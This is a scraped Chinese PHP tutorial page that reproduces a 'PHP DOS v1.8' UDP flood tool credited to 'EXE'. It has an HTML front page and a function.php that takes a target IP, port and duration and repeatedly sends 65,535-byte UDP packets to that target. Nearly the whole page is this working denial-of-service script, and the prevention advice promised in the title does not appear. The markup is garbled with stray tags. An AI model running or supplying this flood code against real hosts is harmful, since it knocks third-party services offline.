phpDOS攻击实现代码(附如何防范)_PHP教程

<br><!--?php <BR-->$ip = $_SERVER['REMOTE_ADDR']; <br>?> <br> <br> <br> <br><meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> <br><meta name="author" content=""> <br><title>PHP DoS, Coded by EXE</title> <br> <br><!-- PHP DOS, coded by EXE --> <br><style type="text/css"> <BR><!-- <BR>body { <BR>font-family: Arial, Helvetica, sans-serif; <BR>font-size: 12px; <BR>font-style: normal; <BR>line-height: normal; <BR>color: #FFFFFF; <BR>background-color: #000000; <BR>} <BR>--> <BR></style> <br><!-- PHP DOS, coded by EXE --> <br> <br><center><br><br> <br><img src="https://www.gxlcms.com/main.jpg"><br> <br><b>Your IP:</b> <font color="red"><!--?php echo $ip; ?--></font> (Don't DoS yourself nub)<br><br> <br> <br></center> <br><!-- PHP DOS, coded by EXE --> <br> <br> <br> <br>function.php <br><span style="CURSOR: pointer" onclick="doCopy('code96456')"><u></u></span> 代码如下:<pre class="brush:php;toolbar:false layui-box layui-code-view layui-code-notepad"><ol class="layui-code-ol"><li><br><!--?php <BR-->//================================================= <br>//PHP DOS v1.8 (Possibly Stronger Flood Strength) <br>//Coded by EXE <br>//================================================= <br>$packets = 0; <br>$ip = $_POST['ip']; <br>$rand = $_POST['port']; <br>set_time_limit(0); <br>ignore_user_abort(FALSE); <br>$exec_time = $_POST['time']; <br>$time = time(); <br>print "Flooded: $ip on port $rand <br><br>"; <br>$max_time = $time+$exec_time; <br>for($i=0;$i<65535;$i++){ <br>$out .= "X"; <br>} <br>while(1){ <br>$packets++; <br>if(time() > $max_time){ <br>break; <br>} <br>$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); <br>if($fp){ <br>fwrite($fp, $out); <br>fclose($fp); <br>} <br>} <br>echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; <br>?> <br></li><li><p></p></li><li><p align="left"><span id="url" itemprop="url">http://www.bkjia.com/PHPjc/325431.html</span><span id="indexUrl" itemprop="indexUrl">www.bkjia.com</span><span id="isOriginal" itemprop="isOriginal">true</span><span id="isBasedOnUrl" itemprop="isBasedOnUrl">http://www.bkjia.com/PHPjc/325431.html</span><span id="genre" itemprop="genre">TechArticle</span><span id="description" itemprop="description">index.php  代码如下:</span></p><pre class="brush:php;toolbar:false layui-box layui-code-view layui-code-notepad"><ol class="layui-code-ol"><li>?php $ip = $_SERVER['REMOTE_ADDR']; ? !DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" html...<p></p></li><li>                    </li></ol></pre></li></ol></pre>